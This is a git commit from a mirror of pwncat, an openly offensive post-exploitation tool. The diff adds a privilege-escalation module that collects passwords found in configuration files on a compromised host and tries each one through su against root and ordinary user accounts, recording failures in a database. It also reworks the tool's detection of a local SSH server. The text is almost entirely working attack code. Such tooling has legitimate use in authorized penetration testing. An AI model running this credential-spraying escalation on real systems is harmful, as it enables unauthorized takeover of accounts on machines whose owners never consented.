1
0
mirror of https://github.com/calebstewart/pwncat.git synced 2024-11-27 19:04:15 +01:00

Added ability to attempt enumerated passwords during privesc

This commit is contained in:
Caleb Stewart 2020-05-29 22:33:04 -04:00
parent 1f278bb5cc
commit 725f47f387
5 changed files with 130 additions and 50 deletions

View File

@ -3,11 +3,12 @@ import pkgutil
from typing import Generator, Callable, Any
import sqlalchemy
from sqlalchemy.ext.mutable import Mutable
import pwncat
class FactData:
class FactData(Mutable):
def __str__(self):
return "unknown"
@ -15,6 +16,11 @@ class FactData:
def description(self):
return None
def __getstate__(self):
d = self.__dict__.copy()
d.pop("_parents", None)
return d
class Enumerate:
""" Abstract fact enumeration class for the victim. This abstracts

View File

@ -2,7 +2,7 @@
import dataclasses
import os
import re
from typing import Generator, Optional
from typing import Generator, Optional, List
from colorama import Fore
@ -10,7 +10,7 @@ import pwncat
from pwncat.enumerate import FactData
name = "pwncat.enumerate.passwords"
provides = "passwords"
provides = "configuration.password"
per_user = True
always_run = False
@ -22,6 +22,8 @@ class Password(FactData):
value: Optional[str]
lineno: int
line: str
# users which we know *dont* have this password
invalid: List[str]
def __str__(self):
if self.value is not None:
@ -111,4 +113,4 @@ def enumerate() -> Generator[FactData, None, None]:
# This was a match for the search. We may have extracted a
# password. Either way, log it.
yield Password(path, password, lineno, ":".join(line))
yield Password(path, password, lineno, ":".join(line), [])

View File

@ -301,15 +301,15 @@ class Finder:
for technique in techniques:
if Capability.SHELL in technique.capabilities:
try:
util.progress(f"attempting {technique}")
# Attempt our basic, known technique
shlvl = pwncat.victim.getenv("SHLVL")
exit_script = technique.method.execute(technique)
pwncat.victim.flush_output(some=True)
# Reset the terminal to ensure we are stable
time.sleep(0.1) # This seems inevitable for some privescs...
pwncat.victim.reset()
pwncat.victim.reset(hard=False)
# Check that we actually succeeded
current = pwncat.victim.update_user()
@ -318,6 +318,7 @@ class Finder:
technique.user == pwncat.victim.config["backdoor_user"]
and current == "root"
):
util.progress(f"{technique} succeeded!")
pwncat.victim.flush_output()
return technique, exit_script
@ -334,7 +335,9 @@ class Finder:
# Clean up whatever mess was left over
pwncat.victim.flush_output()
pwncat.victim.reset()
pwncat.victim.reset(hard=False)
shlvl = pwncat.victim.getenv("SHLVL")
# The privesc didn't work, but didn't throw an exception.
# Continue on as if it hadn't worked.
@ -402,52 +405,18 @@ class Finder:
return writer, "exit"
util.progress(f"checking for local {Fore.RED}sshd{Fore.RESET} server")
if len(writers) == 0 and len(readers) == 0:
raise PrivescError("no readers and no writers. ssh privesc impossible")
# Check if there is an SSH server running
sshd_running = False
ps = pwncat.victim.which("ps")
if ps is not None:
sshd_running = (
b"sshd" in pwncat.victim.subprocess("ps -o command -e", "r").read()
)
else:
pgrep = pwncat.victim.which("pgrep")
if pgrep is not None:
sshd_running = (
pwncat.victim.subprocess("pgrep 'sshd'", "r").read().strip() != b""
)
for fact in pwncat.victim.enumerate.iter("system.service"):
util.progress("enumerating services: {fact.data}")
if "sshd" in fact.data.name and fact.data.state == "running":
sshd_running = True
try:
with pwncat.victim.open("/proc/net/tcp", "r") as filp:
for line in filp.readlines()[1:]:
line = line.strip().split()
local_addr = line[1].split(":")
remote_addr = line[2].split(":")
local_addr = (
(int(local_addr[0], 16)),
(int(local_addr[1], 16)),
)
remote_addr = (
(int(remote_addr[0], 16)),
(int(remote_addr[1], 16)),
)
# Found the SSH socket! Save the listening address
if local_addr[1] == 22 and remote_addr[0] == 0:
sshd_listening = True
sshd_address = str(ipaddress.ip_address(local_addr[0]))
break
else:
# We didn't find an SSH socket
sshd_listening = False
sshd_address = None
except (PermissionError, FileNotFoundError, IndexError):
# We couldn't verify one way or the other, just try it
if sshd_running:
sshd_listening = True
sshd_address = "0.0.0.0"
sshd_address = "127.0.0.1"
else:
sshd_listening = False
sshd_address = None
used_technique = None

View File

@ -0,0 +1,98 @@
#!/usr/bin/env python3
from typing import List
from colorama import Fore
from sqlalchemy.orm.attributes import flag_dirty, flag_modified
from pwncat import util
from pwncat.gtfobins import Capability
from pwncat.privesc import BaseMethod, PrivescError, Technique
import pwncat
class Method(BaseMethod):
"""
Enumerate passwords in configuration files and attempt them on standard
users (UID >= 1000) and root.
This restricts enumerated passwords to those with >= 6 characters. Also
if a password is greater than 15 characters, it cannot contain more than 3 words.
This rationale is for two reason. Firstly, users who choose passwords
with spaces normally choose two or three words. Further, automated
passwords normally do not contain spaces (or at least not many of them).
"""
name = "configuration-password"
BINARIES = ["su"]
def enumerate(self, capability: int = Capability.ALL) -> List[Technique]:
"""
Enumerate capabilities for this method.
:param capability: the requested capabilities
:return: a list of techniques implemented by this method
"""
# We only provide shell capability
if Capability.SHELL not in capability:
return []
seen_password = []
techniques = []
for fact in pwncat.victim.enumerate.iter(typ="configuration.password"):
util.progress(f"enumerating password facts: {str(fact.data)}")
if fact.data.value is None:
continue
if fact.data.value in seen_password:
continue
if len(fact.data.value) < 6:
continue
if len(fact.data.value.split(" ")) > 3:
continue
for _, user in pwncat.victim.users.items():
# This password was already tried for this user and failed
if user.name in fact.data.invalid:
continue
# We already know the password for this user
if user.password is not None:
continue
if (
user.id == 0 and user.name != pwncat.victim.config["backdoor_user"]
) or user.id >= 1000:
techniques.append(
Technique(user.name, self, fact, Capability.SHELL)
)
seen_password.append(fact.data.value)
util.erase_progress()
return techniques
def execute(self, technique: Technique) -> bytes:
"""
Escalate to the new user and return a string used to exit the shell
:param technique: the technique to user (generated by enumerate)
:return: an exit command
"""
# Escalate
try:
pwncat.victim.su(technique.user, technique.ident.data.value)
except PermissionError as exc:
# Don't try this again, and mark it as dirty in the database
technique.ident.data.invalid.append(technique.user)
flag_modified(technique.ident, "data")
pwncat.victim.session.commit()
raise PrivescError(str(exc))
return "exit\n"
def get_name(self, tech: Technique) -> str:
return f"{Fore.YELLOW}possible{Fore.RESET} password ({Fore.BLUE}{repr(tech.ident.data.value)}{Fore.RESET})"

View File

@ -1362,6 +1362,11 @@ class Victim:
raise PermissionError("no password provided and whoami != root!")
if current_user["uid"]["id"] != 0:
# We try to use the `timeout` command to speed up the case where
# the attempted password is incorrect. If it doesn't exist, we
# just use a regular `su`, which will take a couple seconds to
# timeout depeding on your authentication settings.
timeout = self.which("timeout")
if timeout is not None:
command = f'timeout 0.5 su {user} -c "echo good" || echo failure'